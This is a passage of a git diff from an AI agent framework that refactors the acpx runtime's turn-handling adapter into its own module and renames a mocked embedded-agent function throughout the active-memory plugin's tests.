PI_CODING_AGENT_DIR: process.env.PI_CODING_AGENT_DIR, }; async function makeTempDir(): Promise { @@ -92,7 +91,6 @@ afterEach(async () => { vi.restoreAllMocks(); restoreEnv("CODEX_HOME"); restoreEnv("OPENCLAW_AGENT_DIR"); - restoreEnv("PI_CODING_AGENT_DIR"); for (const dir of tempDirs.splice(0)) { await fs.rm(dir, { recursive: true, force: true }); } @@ -114,7 +112,6 @@ describe("prepareAcpxCodexAuthConfig", () => { "codex-acp.js", ); process.env.OPENCLAW_AGENT_DIR = agentDir; - delete process.env.PI_CODING_AGENT_DIR; const pluginConfig = resolveAcpxPluginConfig({ rawConfig: {}, @@ -391,7 +388,6 @@ describe("prepareAcpxCodexAuthConfig", () => { ); process.env.CODEX_HOME = sourceCodexHome; process.env.OPENCLAW_AGENT_DIR = agentDir; - delete process.env.PI_CODING_AGENT_DIR; const pluginConfig = resolveAcpxPluginConfig({ rawConfig: {}, diff --git a/extensions/acpx/src/runtime-internals/error-format.mjs b/extensions/acpx/src/runtime-internals/error-format.mjs deleted file mode 100644 index 29b9b51b601..00000000000 --- a/extensions/acpx/src/runtime-internals/error-format.mjs +++ /dev/null @@ -1,6 +0,0 @@ -export function formatErrorMessage(error) { - if (error instanceof Error) { - return error.message || error.name || "Error"; - } - return String(error); -} diff --git a/extensions/acpx/src/runtime-internals/mcp-proxy.mjs b/extensions/acpx/src/runtime-internals/mcp-proxy.mjs index c022f0e036b..f8a6b0764b7 100644 --- a/extensions/acpx/src/runtime-internals/mcp-proxy.mjs +++ b/extensions/acpx/src/runtime-internals/mcp-proxy.mjs @@ -4,9 +4,15 @@ import { spawn } from "node:child_process"; import path from "node:path"; import { createInterface } from "node:readline"; import { pathToFileURL } from "node:url"; -import { formatErrorMessage } from "./error-format.mjs"; import { splitCommandLine } from "./mcp-command-line.mjs"; +function formatErrorMessage(error) { + if (error instanceof Error) { + return error.message || error.name || "Error"; + } + return String(error); +} + function decodePayload(argv) { const payloadIndex = argv.indexOf("--payload"); if (payloadIndex < 0) { diff --git a/extensions/acpx/src/runtime-turn.ts b/extensions/acpx/src/runtime-turn.ts new file mode 100644 index 00000000000..f190293d415 --- /dev/null +++ b/extensions/acpx/src/runtime-turn.ts @@ -0,0 +1,180 @@ +import type { + AcpRuntime, + AcpRuntimeEvent, + AcpRuntimeTurn, + AcpRuntimeTurnInput, + AcpRuntimeTurnResult, +} from "../runtime-api.js"; + +function createDeferredResult() { + let resolve!: (value: T) => void; + let reject!: (error: unknown) => void; + const promise = new Promise((resolvePromise, rejectPromise) => { + resolve = resolvePromise; + reject = rejectPromise; + }); + return { promise, resolve, reject }; +} + +class LegacyRunTurnEventQueue { + private readonly items: AcpRuntimeEvent[] = []; + private readonly waits: Array<{ + resolve: (value: AcpRuntimeEvent | null) => void; + reject: (error: unknown) => void; + }> = []; + private closed = false; + private error: unknown; + + push(item: AcpRuntimeEvent): void { + if (this.closed) { + return; + } + const waiter = this.waits.shift(); + if (waiter) { + waiter.resolve(item); + return; + } + this.items.push(item); + } + + clear(): void { + this.items.length = 0; + } + + close(): void { + if (this.closed) { + return; + } + this.closed = true; + for (const waiter of this.waits.splice(0)) { + waiter.resolve(null); + } + } + + fail(error: unknown): void { + if (this.closed) { + return; + } + this.error = error; + this.closed = true; + for (const waiter of this.waits.splice(0)) { + waiter.reject(error); + } + } + + private async next(): Promise { + const item = this.items.shift(); + if (item) { + return item; + } + if (this.error) { + throw this.error; + } + if (this.closed) { + return null; + } + return await new Promise((resolve, reject) => { + this.waits.push({ resolve, reject }); + }); + } + + async *iterate(): AsyncIterable { + for (;;) { + const item = await this.next(); + if (!item) { + return; + } + yield item; + } + } +} + +function legacyRunTurnAsStartTurn(runtime: AcpRuntime, input: AcpRuntimeTurnInput): AcpRuntimeTurn { + const result = createDeferredResult(); + result.promise.catch(() => {}); + const queue = new LegacyRunTurnEventQueue(); + let resultSettled = false; + const settleResult = (next: AcpRuntimeTurnResult) => { + if (resultSettled) { + return; + } + resultSettled = true; + result.resolve(next); + }; + void (async () => { + try { + for await (const event of runtime.runTurn(input)) { + if (event.type === "done") { + settleResult({ + status: "completed", + ...(event.stopReason ? { stopReason: event.stopReason } : {}), + }); + continue; + } + if (event.type === "error") { + settleResult({ + status: "failed", + error: { + message: event.message, + ...(event.code ? { code: event.code } : {}), + ...(event.detailCode ? { detailCode: event.detailCode } : {}), + ...(event.retryable === undefined ? {} : { retryable: event.retryable }), + }, + }); + continue; + } + queue.push(event); + } + settleResult({ + status: "failed", + error: { + code: "ACP_TURN_FAILED", + message: "ACP turn ended without a terminal done event.", + }, + }); + } catch (error) { + result.reject(error); + queue.fail(error); + return; + } + queue.close(); + })(); + return { + requestId: input.requestId, + events: queue.iterate(), + result: result.promise, + async cancel(inputArgs) { + await runtime.cancel({ handle: input.handle, reason: inputArgs?.reason }); + }, + async closeStream() { + queue.clear(); + queue.close(); + }, + }; +} + +export function startRuntimeTurn(runtime: AcpRuntime, input: AcpRuntimeTurnInput): AcpRuntimeTurn { + return runtime.startTurn?.(input) ?? legacyRunTurnAsStartTurn(runtime, input); +} + +export function lazyStartRuntimeTurn( + resolveRuntime: () => Promise, + input: AcpRuntimeTurnInput, +): AcpRuntimeTurn { + const turnPromise = resolveRuntime().then((runtime) => startRuntimeTurn(runtime, input)); + return { + requestId: input.requestId, + events: { + async *[Symbol.asyncIterator]() { + yield* (await turnPromise).events; + }, + }, + result: turnPromise.then((turn) => turn.result), + cancel(inputArgs) { + return turnPromise.then((turn) => turn.cancel(inputArgs)); + }, + closeStream(inputArgs) { + return turnPromise.then((turn) => turn.closeStream(inputArgs)); + }, + }; +} diff --git a/extensions/acpx/src/service.ts b/extensions/acpx/src/service.ts index ce1784093c1..ef734d1b1a1 100644 --- a/extensions/acpx/src/service.ts +++ b/extensions/acpx/src/service.ts @@ -5,7 +5,6 @@ import { inspect } from "node:util"; import { formatErrorMessage } from "openclaw/plugin-sdk/error-runtime"; import type { AcpRuntime, - AcpRuntimeEvent, OpenClawPluginService, OpenClawPluginServiceContext, PluginLogger, @@ -24,6 +23,7 @@ import { reapStaleOpenClawOwnedAcpxOrphans, type AcpxProcessCleanupDeps, } from "./process-reaper.js"; +import { lazyStartRuntimeTurn } from "./runtime-turn.js"; type AcpxRuntimeLike = AcpRuntime & { probeAvailability(): Promise; @@ -34,10 +34,6 @@ type AcpxRuntimeLike = AcpRuntime & { details?: string[]; }>; }; -type AcpRuntimeTurnInput = Parameters[0]; -type AcpRuntimeTurn = ReturnType>; -type AcpRuntimeTurnResult = Awaited; - const ENABLE_STARTUP_PROBE_ENV = "OPENCLAW_ACPX_RUNTIME_STARTUP_PROBE"; const SKIP_RUNTIME_PROBE_ENV = "OPENCLAW_SKIP_ACPX_RUNTIME_PROBE"; const ACPX_BACKEND_ID = "acpx"; @@ -64,157 +60,6 @@ function loadRuntimeModule(): Promise { return runtimeModulePromise; } -function createDeferredResult() { - let resolve!: (value: T) => void; - let reject!: (error: unknown) => void; - const promise = new Promise((resolvePromise, rejectPromise) => { - resolve = resolvePromise; - reject = rejectPromise; - }); - return { promise, resolve, reject }; -} - -class LegacyRunTurnEventQueue { - private readonly items: AcpRuntimeEvent[] = []; - private readonly waits: Array<{ - resolve: (value: AcpRuntimeEvent | null) => void; - reject: (error: unknown) => void; - }> = []; - private closed = false; - private error: unknown; - - push(item: AcpRuntimeEvent): void { - if (this.closed) { - return; - } - const waiter = this.waits.shift(); - if (waiter) { - waiter.resolve(item); - return; - } - this.items.push(item); - } - - clear(): void { - this.items.length = 0; - } - - close(): void { - if (this.closed) { - return; - } - this.closed = true; - for (const waiter of this.waits.splice(0)) { - waiter.resolve(null); - } - } - - fail(error: unknown): void { - if (this.closed) { - return; - } - this.error = error; - this.closed = true; - for (const waiter of this.waits.splice(0)) { - waiter.reject(error); - } - } - - private async next(): Promise { - const item = this.items.shift(); - if (item) { - return item; - } - if (this.error) { - throw this.error; - } - if (this.closed) { - return null; - } - return await new Promise((resolve, reject) => { - this.waits.push({ resolve, reject }); - }); - } - - async *iterate(): AsyncIterable { - for (;;) { - const item = await this.next(); - if (!item) { - return; - } - yield item; - } - } -} - -function legacyRunTurnAsStartTurn(runtime: AcpRuntime, input: AcpRuntimeTurnInput): AcpRuntimeTurn { - const result = createDeferredResult(); - result.promise.catch(() => {}); - const queue = new LegacyRunTurnEventQueue(); - let resultSettled = false; - const settleResult = (next: AcpRuntimeTurnResult) => { - if (resultSettled) { - return; - } - resultSettled = true; - result.resolve(next); - }; - void (async () => { - try { - for await (const event of runtime.runTurn(input)) { - if (event.type === "done") { - settleResult({ - status: "completed", - ...(event.stopReason ? { stopReason: event.stopReason } : {}), - }); - continue; - } - if (event.type === "error") { - settleResult({ - status: "failed", - error: { - message: event.message, - ...(event.code ? { code: event.code } : {}), - ...(event.detailCode ? { detailCode: event.detailCode } : {}), - ...(event.retryable === undefined ? {} : { retryable: event.retryable }), - }, - }); - continue; - } - queue.push(event); - } - settleResult({ - status: "failed", - error: { - code: "ACP_TURN_FAILED", - message: "ACP turn ended without a terminal done event.", - }, - }); - } catch (error) { - result.reject(error); - queue.fail(error); - return; - } - queue.close(); - })(); - return { - requestId: input.requestId, - events: queue.iterate(), - result: result.promise, - async cancel(inputArgs) { - await runtime.cancel({ handle: input.handle, reason: inputArgs?.reason }); - }, - async closeStream() { - queue.clear(); - queue.close(); - }, - }; -} - -function startRuntimeTurn(runtime: AcpRuntime, input: AcpRuntimeTurnInput): AcpRuntimeTurn { - return runtime.startTurn?.(input) ?? legacyRunTurnAsStartTurn(runtime, input); -} - function createLazyDefaultRuntime(params: AcpxRuntimeFactoryParams): AcpxRuntimeLike { let runtime: AcpxRuntimeLike | null = null; let runtimePromise: Promise | null = null; @@ -254,22 +99,7 @@ function createLazyDefaultRuntime(params: AcpxRuntimeFactoryParams): AcpxRuntime return await (await resolveRuntime()).ensureSession(input); }, startTurn(input) { - const turnPromise = resolveRuntime().then((resolved) => startRuntimeTurn(resolved, input)); - return { - requestId: input.requestId, - events: { - async *[Symbol.asyncIterator]() { - yield* (await turnPromise).events; - }, - }, - result: turnPromise.then((turn) => turn.result), - cancel(inputArgs) { - return turnPromise.then((turn) => turn.cancel(inputArgs)); - }, - closeStream(inputArgs) { - return turnPromise.then((turn) => turn.closeStream(inputArgs)); - }, - }; + return lazyStartRuntimeTurn(resolveRuntime, input); }, async *runTurn(input) { yield* (await resolveRuntime()).runTurn(input); diff --git a/extensions/active-memory/index.test.ts b/extensions/active-memory/index.test.ts index 46065cca1ca..35113567680 100644 --- a/extensions/active-memory/index.test.ts +++ b/extensions/active-memory/index.test.ts @@ -58,7 +58,7 @@ describe("active-memory plugin", () => { const hooks: Record = {}; const hookOptions: Record | undefined> = {}; const registeredCommands: Record = {}; - const runEmbeddedPiAgent = vi.fn(); + const runEmbeddedAgent = vi.fn(); let stateDir = ""; let configFile: Record = {}; let pluginConfig: Record = { @@ -111,7 +111,7 @@ describe("active-memory plugin", () => { logger: { info: vi.fn(), warn: vi.fn(), debug: vi.fn(), error: vi.fn() }, runtime: { agent: { - runEmbeddedPiAgent, + runEmbeddedAgent, session: { resolveStorePath: vi.fn(() => "/tmp/openclaw-session-store.json"), loadSessionStore: vi.fn(() => hoisted.sessionStore), @@ -263,7 +263,7 @@ describe("active-memory plugin", () => { expect(requirePrependContext(result)).toContain(text); }; const lastEmbeddedRunParams = () => { - const calls = runEmbeddedPiAgent.mock.calls; + const calls = runEmbeddedAgent.mock.calls; return requireRecord(calls[calls.length - 1]?.[0], "expected embedded run params"); }; const lastEmbeddedPrompt = () => @@ -309,7 +309,7 @@ describe("active-memory plugin", () => { beforeEach(async () => { vi.clearAllMocks(); - runEmbeddedPiAgent.mockReset(); + runEmbeddedAgent.mockReset(); stateDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-active-memory-test-")); configFile = { plugins: { @@ -352,7 +352,7 @@ describe("active-memory plugin", () => { for (const key of Object.keys(registeredCommands)) { delete registeredCommands[key]; } - runEmbeddedPiAgent.mockResolvedValue({ + runEmbeddedAgent.mockResolvedValue({ payloads: [{ text: "- lemon pepper wings\n- blue cheese" }], }); testing.resetActiveRecallCacheForTests(); @@ -462,7 +462,7 @@ describe("active-memory plugin", () => { ); expect(disabledResult).toBeUndefined(); - expect(runEmbeddedPiAgent).not.toHaveBeenCalled(); + expect(runEmbeddedAgent).not.toHaveBeenCalled(); const onResult = await command.handler({ channel: "webchat", @@ -488,7 +488,7 @@ describe("active-memory plugin", () => { }, ); - expect(runEmbeddedPiAgent).toHaveBeenCalledTimes(1); + expect(runEmbeddedAgent).toHaveBeenCalledTimes(1); }); it("reports session status off when the current agent is outside the active-memory allowlist (#78986)", async () => { @@ -563,7 +563,7 @@ describe("active-memory plugin", () => { }, ); - expect(runEmbeddedPiAgent).not.toHaveBeenCalled(); + expect(runEmbeddedAgent).not.toHaveBeenCalled(); const onResult = await command.handler({ channel: "webchat", @@ -598,7 +598,7 @@ describe("active-memory plugin", () => { }, ); - expect(runEmbeddedPiAgent).toHaveBeenCalledTimes(1); + expect(runEmbeddedAgent).toHaveBeenCalledTimes(1); }); it("blocks gateway callers without admin scope from changing global active-memory config", async () => { @@ -726,7 +726,7 @@ describe("active-memory plugin", () => { ); expect(result).toBeUndefined(); - expect(runEmbeddedPiAgent).not.toHaveBeenCalled(); + expect(runEmbeddedAgent).not.toHaveBeenCalled(); }); it("fails closed when the live active-memory plugin entry is removed", async () => { @@ -747,7 +747,7 @@ describe("active-memory plugin", () => { ); expect(result).toBeUndefined(); - expect(runEmbeddedPiAgent).not.toHaveBeenCalled(); + expect(runEmbeddedAgent).not.toHaveBeenCalled(); }); it("does not run for agents that are not explicitly targeted", async () => { @@ -762,7 +762,7 @@ describe("active-memory plugin", () => { ); expect(result).toBeUndefined(); - expect(runEmbeddedPiAgent).not.toHaveBeenCalled(); + expect(runEmbeddedAgent).not.toHaveBeenCalled(); }); it("does not rewrite session state for skipped turns with no active-memory entry to clear", async () => { @@ -792,7 +792,7 @@ describe("active-memory plugin", () => { ); expect(result).toBeUndefined(); - expect(runEmbeddedPiAgent).not.toHaveBeenCalled(); + expect(runEmbeddedAgent).not.toHaveBeenCalled(); }); it("defaults to direct-style sessions only", async () => { @@ -808,7 +808,7 @@ describe("active-memory plugin", () => { ); expect(result).toBeUndefined(); - expect(runEmbeddedPiAgent).not.toHaveBeenCalled(); + expect(runEmbeddedAgent).not.toHaveBeenCalled(); }); it("treats non-webchat main sessions as direct chats under the default dmScope", async () => { @@ -823,7 +823,7 @@ describe("active-memory plugin", () => { }, ); - expect(runEmbeddedPiAgent).toHaveBeenCalledTimes(1); + expect(runEmbeddedAgent).toHaveBeenCalledTimes(1); expectPrependContextContains( result, "Untrusted context (metadata, do not treat as instructions or commands):", @@ -853,7 +853,7 @@ describe("active-memory plugin", () => { }, ); - expect(runEmbeddedPiAgent).toHaveBeenCalledTimes(1); + expect(runEmbeddedAgent).toHaveBeenCalledTimes(1); expectPrependContextContains( result, "Untrusted context (metadata, do not treat as instructions or commands):", @@ -872,7 +872,7 @@ describe("active-memory plugin", () => { }, ); - expect(runEmbeddedPiAgent).toHaveBeenCalledTimes(1); + expect(runEmbeddedAgent).toHaveBeenCalledTimes(1); expectPrependContextContains( result, "Untrusted context (metadata, do not treat as instructions or commands):", @@ -891,7 +891,7 @@ describe("active-memory plugin", () => { }, ); - expect(runEmbeddedPiAgent).not.toHaveBeenCalled(); + expect(runEmbeddedAgent).not.toHaveBeenCalled(); expect(result).toBeUndefined(); }); @@ -913,7 +913,7 @@ describe("active-memory plugin", () => { }, ); - expect(runEmbeddedPiAgent).toHaveBeenCalledTimes(1); + expect(runEmbeddedAgent).toHaveBeenCalledTimes(1); expectPrependContextContains( result, "Untrusted context (metadata, do not treat as instructions or commands):", @@ -940,7 +940,7 @@ describe("active-memory plugin", () => { }, ); - expect(runEmbeddedPiAgent).toHaveBeenCalledTimes(1); + expect(runEmbeddedAgent).toHaveBeenCalledTimes(1); // messageChannel must be the runnable channel name, not the topic conversation id expect(lastEmbeddedRunParams().messageChannel).toBe("telegram"); expectPrependContextContains( @@ -961,7 +961,7 @@ describe("active-memory plugin", () => { }, ); - expect(runEmbeddedPiAgent).toHaveBeenCalledTimes(1); + expect(runEmbeddedAgent).toHaveBeenCalledTimes(1); expect(lastEmbeddedRunParams().messageChannel).toBe("telegram"); expect(lastEmbeddedRunParams().messageProvider).toBe("telegram"); expectPrependContextContains( @@ -988,7 +988,7 @@ describe("active-memory plugin", () => { }, ); - expect(runEmbeddedPiAgent).toHaveBeenCalledTimes(1); + expect(runEmbeddedAgent).toHaveBeenCalledTimes(1); expect(lastEmbeddedRunParams().messageChannel).toBe("googlechat"); expectPrependContextContains( result, @@ -1014,7 +1014,7 @@ describe("active-memory plugin", () => { }, ); - expect(runEmbeddedPiAgent).toHaveBeenCalledTimes(1); + expect(runEmbeddedAgent).toHaveBeenCalledTimes(1); expectPrependContextContains(result, ""); }); @@ -1036,7 +1036,7 @@ describe("active-memory plugin", () => { }, ); - expect(runEmbeddedPiAgent).toHaveBeenCalledTimes(1); + expect(runEmbeddedAgent).toHaveBeenCalledTimes(1); expectPrependContextContains(result, ""); }); @@ -1059,7 +1059,7 @@ describe("active-memory plugin", () => { }, ); - expect(runEmbeddedPiAgent).not.toHaveBeenCalled(); + expect(runEmbeddedAgent).not.toHaveBeenCalled(); expect(result).toBeUndefined(); }); @@ -1082,7 +1082,7 @@ describe("active-memory plugin", () => { }, ); - expect(runEmbeddedPiAgent).toHaveBeenCalledTimes(1); + expect(runEmbeddedAgent).toHaveBeenCalledTimes(1); expectPrependContextContains( result, "Untrusted context (metadata, do not treat as instructions or commands):", @@ -1108,7 +1108,7 @@ describe("active-memory plugin", () => { }, ); - expect(runEmbeddedPiAgent).toHaveBeenCalledTimes(1); + expect(runEmbeddedAgent).toHaveBeenCalledTimes(1); expectPrependContextResult(result); }); @@ -1131,7 +1131,7 @@ describe("active-memory plugin", () => { }, ); - expect(runEmbeddedPiAgent).not.toHaveBeenCalled(); + expect(runEmbeddedAgent).not.toHaveBeenCalled(); expect(result).toBeUndefined(); }); @@ -1155,7 +1155,7 @@ describe("active-memory plugin", () => { }, ); - expect(runEmbeddedPiAgent).not.toHaveBeenCalled(); + expect(runEmbeddedAgent).not.toHaveBeenCalled(); expect(result).toBeUndefined(); }); @@ -1183,7 +1183,7 @@ describe("active-memory plugin", () => { }, ); - expect(runEmbeddedPiAgent).not.toHaveBeenCalled(); + expect(runEmbeddedAgent).not.toHaveBeenCalled(); expect(result).toBeUndefined(); }); @@ -1210,7 +1210,7 @@ describe("active-memory plugin", () => { }, ); - expect(runEmbeddedPiAgent).toHaveBeenCalledTimes(1); + expect(runEmbeddedAgent).toHaveBeenCalledTimes(1); expectPrependContextResult(result); }); @@ -1234,7 +1234,7 @@ describe("active-memory plugin", () => { }, ); - expect(runEmbeddedPiAgent).toHaveBeenCalledTimes(1); + expect(runEmbeddedAgent).toHaveBeenCalledTimes(1); expectPrependContextResult(result); }); @@ -1259,7 +1259,7 @@ describe("active-memory plugin", () => { }, ); - expect(runEmbeddedPiAgent).toHaveBeenCalledTimes(1); + expect(runEmbeddedAgent).toHaveBeenCalledTimes(1); expectPrependContextResult(result); }); @@ -1286,7 +1286,7 @@ describe("active-memory plugin", () => { }, ); - expect(runEmbeddedPiAgent).toHaveBeenCalledTimes(1); + expect(runEmbeddedAgent).toHaveBeenCalledTimes(1); expectPrependContextResult(result); }); @@ -1311,7 +1311,7 @@ describe("active-memory plugin", () => { }, ); - expect(runEmbeddedPiAgent).not.toHaveBeenCalled(); + expect(runEmbeddedAgent).not.toHaveBeenCalled(); expect(result).toBeUndefined(); }); @@ -1332,7 +1332,7 @@ describe("active-memory plugin", () => { }, ); - expect(runEmbeddedPiAgent).toHaveBeenCalledTimes(1); + expect(runEmbeddedAgent).toHaveBeenCalledTimes(1); const prependContext = requirePrependContext(result); expect(prependContext).toContain( "Untrusted context (metadata, do not treat as instructions or commands):", @@ -1788,7 +1788,7 @@ describe("active-memory plugin", () => { }); it("preserves leading digits in a plain-text summary", async () => { - runEmbeddedPiAgent.mockResolvedValueOnce({ + runEmbeddedAgent.mockResolvedValueOnce({ payloads: [{ text: "2024 trip to tokyo and 2% milk both matter here." }], }); @@ -1916,7 +1916,7 @@ describe("active-memory plugin", () => { ); expect(result).toBeUndefined(); - expect(runEmbeddedPiAgent).not.toHaveBeenCalled(); + expect(runEmbeddedAgent).not.toHaveBeenCalled(); }); it("uses config.modelFallback when no session or agent model resolves", async () => { @@ -1978,7 +1978,7 @@ describe("active-memory plugin", () => { ); expect(result).toBeUndefined(); - expect(runEmbeddedPiAgent).not.toHaveBeenCalled(); + expect(runEmbeddedAgent).not.toHaveBeenCalled(); }); it("persists a readable debug summary alongside the status line", async () => { @@ -1987,7 +1987,7 @@ describe("active-memory plugin", () => { sessionId: "s-main", updatedAt: 0, }; - runEmbeddedPiAgent.mockImplementationOnce(async () => { + runEmbeddedAgent.mockImplementationOnce(async () => { return { meta: { activeMemorySearchDebug: { @@ -2036,7 +2036,7 @@ describe("active-memory plugin", () => { const sessionKey = "agent:main:transcript-debug"; hoisted.sessionStore[sessionKey] = { sessionId: "s-main", updatedAt: 0 }; - runEmbeddedPiAgent.mockImplementationOnce( + runEmbeddedAgent.mockImplementationOnce( async (params: { sessionFile: string; abortSignal?: AbortSignal }) => { const lines = [ JSON.stringify({ @@ -2096,7 +2096,7 @@ describe("active-memory plugin", () => { { pluginId: "other-plugin", lines: ["Other Plugin: keep me"] }, ], }; - runEmbeddedPiAgent.mockResolvedValueOnce({ + runEmbeddedAgent.mockResolvedValueOnce({ payloads: [{ text: "NONE" }], }); @@ -2138,7 +2138,7 @@ describe("active-memory plugin", () => { }); it("returns nothing when the subagent says none", async () => { - runEmbeddedPiAgent.mockResolvedValueOnce({ + runEmbeddedAgent.mockResolvedValueOnce({ payloads: [{ text: "NONE" }], }); @@ -2163,7 +2163,7 @@ describe("active-memory plugin", () => { }; const error = makeMemoryToolAllowlistError("no registered tools matched"); expect(testing.isMissingRegisteredMemoryToolsError(error)).toBe(true); - runEmbeddedPiAgent.mockRejectedValueOnce(error); + runEmbeddedAgent.mockRejectedValueOnce(error); const result = await hooks.before_prompt_build( { prompt: "what wings should i order? missing memory tools", messages: [] }, @@ -2189,7 +2189,7 @@ describe("active-memory plugin", () => { "tools.allow: *, lobster; runtime toolsAllow: memory_search, memory_get", ); expect(testing.isMissingRegisteredMemoryToolsError(error)).toBe(true); - runEmbeddedPiAgent.mockRejectedValueOnce(error); + runEmbeddedAgent.mockRejectedValueOnce(error); const result = await hooks.before_prompt_build( { prompt: "what wings should i order? missing memory tools with policy", messages: [] }, @@ -2222,7 +2222,7 @@ describe("active-memory plugin", () => { `runtime toolsAllow: ${toolsAllow.join(", ")}`, ); expect(testing.isMissingRegisteredMemoryToolsError(error, toolsAllow)).toBe(true); - runEmbeddedPiAgent.mockRejectedValueOnce(error); + runEmbeddedAgent.mockRejectedValueOnce(error); const result = await hooks.before_prompt_build( { prompt: "what did we decide? missing custom memory tools", messages: [] }, @@ -2247,7 +2247,7 @@ describe("active-memory plugin", () => { "tools.allow: read, exec; runtime toolsAllow: memory_search, memory_get", ); expect(testing.isMissingRegisteredMemoryToolsError(error)).toBe(true); - runEmbeddedPiAgent.mockRejectedValueOnce(error); + runEmbeddedAgent.mockRejectedValueOnce(error); const result = await hooks.before_prompt_build( { prompt: "what wings should i order? memory tools filtered by policy", messages: [] }, @@ -2275,7 +2275,7 @@ describe("active-memory plugin", () => { }; const error = makeMemoryToolAllowlistError(reason); expect(testing.isMissingRegisteredMemoryToolsError(error)).toBe(false); - runEmbeddedPiAgent.mockRejectedValueOnce(error); + runEmbeddedAgent.mockRejectedValueOnce(error); const result = await hooks.before_prompt_build( { prompt: `what wings should i order? ${reason}`, messages: [] }, @@ -2297,7 +2297,7 @@ describe("active-memory plugin", () => { sessionId: "s-missing-memory-tools-after-abort", updatedAt: 0, }; - runEmbeddedPiAgent.mockImplementationOnce(async (params: { abortSignal?: AbortSignal }) => { + runEmbeddedAgent.mockImplementationOnce(async (params: { abortSignal?: AbortSignal }) => { Object.defineProperty(params.abortSignal as AbortSignal, "aborted", { configurable: true, value: true, @@ -2333,7 +2333,7 @@ describe("active-memory plugin", () => { sessionId: "s-timeout-partial", updatedAt: 0, }; - runEmbeddedPiAgent.mockImplementationOnce( + runEmbeddedAgent.mockImplementationOnce( async (params: { sessionFile: string; abortSignal?: AbortSignal }) => { await writeTranscriptJsonl( params.sessionFile, @@ -2394,7 +2394,7 @@ describe("active-memory plugin", () => { updatedAt: 0, }; let tempSessionFile = ""; - runEmbeddedPiAgent.mockImplementationOnce( + runEmbeddedAgent.mockImplementationOnce( async (params: { sessionFile: string; abortSignal?: AbortSignal }) => { tempSessionFile = params.sessionFile; await writeTranscriptJsonl(params.sessionFile, [ @@ -2439,7 +2439,7 @@ describe("active-memory plugin", () => { sessionId: "s-timeout-empty-transcript", updatedAt: 0, }; - runEmbeddedPiAgent.mockImplementationOnce( + runEmbeddedAgent.mockImplementationOnce( async (params: { sessionFile: string; abortSignal?: AbortSignal }) => { await fs.writeFile(params.sessionFile, "", "utf8"); return await waitForAbort(params.abortSignal); @@ -2473,7 +2473,7 @@ describe("active-memory plugin", () => { sessionId: "s-timeout-missing-transcript", updatedAt: 0, }; - runEmbeddedPiAgent.mockImplementationOnce( + runEmbeddedAgent.mockImplementationOnce( async (params: { abortSignal?: AbortSignal }) => await waitForAbort(params.abortSignal), ); @@ -2503,7 +2503,7 @@ describe("active-memory plugin", () => { sessionId: "s-timeout-boilerplate-transcript", updatedAt: 0, }; - runEmbeddedPiAgent.mockImplementationOnce( + runEmbeddedAgent.mockImplementationOnce( async (params: { sessionFile: string; abortSignal?: AbortSignal }) => { await writeTranscriptJsonl(params.sessionFile, [ { @@ -2550,7 +2550,7 @@ describe("active-memory plugin", () => { sessionId: "s-abort-timeout-partial", updatedAt: 0, }; - runEmbeddedPiAgent.mockImplementationOnce( + runEmbeddedAgent.mockImplementationOnce( async (params: { sessionFile: string; abortSignal?: AbortSignal }) => { await writeTranscriptJsonl(params.sessionFile, [ { @@ -2595,7 +2595,7 @@ describe("active-memory plugin", () => { sessionId: "s-generic-error-partial-ignored", updatedAt: 0, }; - runEmbeddedPiAgent.mockImplementationOnce(async (params: { sessionFile: string }) => { + runEmbeddedAgent.mockImplementationOnce(async (params: { sessionFile: string }) => { await writeTranscriptJsonl(params.sessionFile, [ { type: "message", @@ -2752,7 +2752,7 @@ describe("active-memory plugin", () => { logging: true, }; plugin.register(api as unknown as OpenClawPluginApi); - runEmbeddedPiAgent.mockResolvedValue({ + runEmbeddedAgent.mockResolvedValue({ payloads: [{ text: "NONE" }], }); @@ -2775,7 +2775,7 @@ describe("active-memory plugin", () => { }, ); - expect(runEmbeddedPiAgent).toHaveBeenCalledTimes(2); + expect(runEmbeddedAgent).toHaveBeenCalledTimes(2); const infoLines = vi .mocked(api.logger.info) .mock.calls.map((call: unknown[]) => String(call[0])); @@ -2813,7 +2813,7 @@ describe("active-memory plugin", () => { }; plugin.register(api as unknown as OpenClawPluginApi); let lastAbortSignal: AbortSignal | undefined; - runEmbeddedPiAgent.mockImplementation(async (params: { abortSignal?: AbortSignal }) => { + runEmbeddedAgent.mockImplementation(async (params: { abortSignal?: AbortSignal }) => { lastAbortSignal = params.abortSignal; return await new Promise((resolve, reject) => { const timer = setTimeout(() => { @@ -2864,7 +2864,7 @@ describe("active-memory plugin", () => { logging: true, }; plugin.register(api as unknown as OpenClawPluginApi); - runEmbeddedPiAgent.mockImplementationOnce(() => new Promise(() => {})); + runEmbeddedAgent.mockImplementationOnce(() => new Promise(() => {})); const result = await hooks.before_prompt_build( { prompt: "what wings should i order? cleanup timeout", messages: [] }, @@ -2912,7 +2912,7 @@ describe("active-memory plugin", () => { }, ); - const sessionKeys = runEmbeddedPiAgent.mock.calls.map( + const sessionKeys = runEmbeddedAgent.mock.calls.map( ([params]) => (params as { sessionKey?: string }).sessionKey, ); expect(new Set(sessionKeys).size).toBeGreaterThanOrEqual(2); @@ -2932,7 +2932,7 @@ describe("active-memory plugin", () => { logging: true, }; plugin.register(api as unknown as OpenClawPluginApi); - runEmbeddedPiAgent.mockImplementationOnce(async (params: { timeoutMs?: number }) => { + runEmbeddedAgent.mockImplementationOnce(async (params: { timeoutMs?: number }) => { await new Promise((resolve) => setTimeout(resolve, (params.timeoutMs ?? 0) + 5)); return { payloads: [{ text: "late timeout payload that should never become memory context" }], @@ -2975,7 +2975,7 @@ describe("active-memory plugin", () => { logging: true, }; plugin.register(api as unknown as OpenClawPluginApi); - runEmbeddedPiAgent.mockImplementationOnce(async () => { + runEmbeddedAgent.mockImplementationOnce(async () => { await new Promise((resolve) => setTimeout(resolve, CONFIGURED_TIMEOUT_MS + 5)); return { payloads: [{ text: "remember the ramen place" }] }; }); @@ -3010,7 +3010,7 @@ describe("active-memory plugin", () => { }; plugin.register(api as unknown as OpenClawPluginApi); // Simulate a subagent that never cooperatively checks the abort signal. - runEmbeddedPiAgent.mockImplementationOnce(() => new Promise(() => {})); + runEmbeddedAgent.mockImplementationOnce(() => new Promise(() => {})); const startedAt = Date.now(); const result = await hooks.before_prompt_build( @@ -3047,7 +3047,7 @@ describe("active-memory plugin", () => { plugin.register(api as unknown as OpenClawPluginApi); const sessionKey = "agent:main:terminal-zero-hit"; hoisted.sessionStore[sessionKey] = { sessionId: "s-terminal-zero-hit", updatedAt: 0 }; - runEmbeddedPiAgent.mockImplementationOnce( + runEmbeddedAgent.mockImplementationOnce( async (params: { sessionFile: string; abortSignal?: 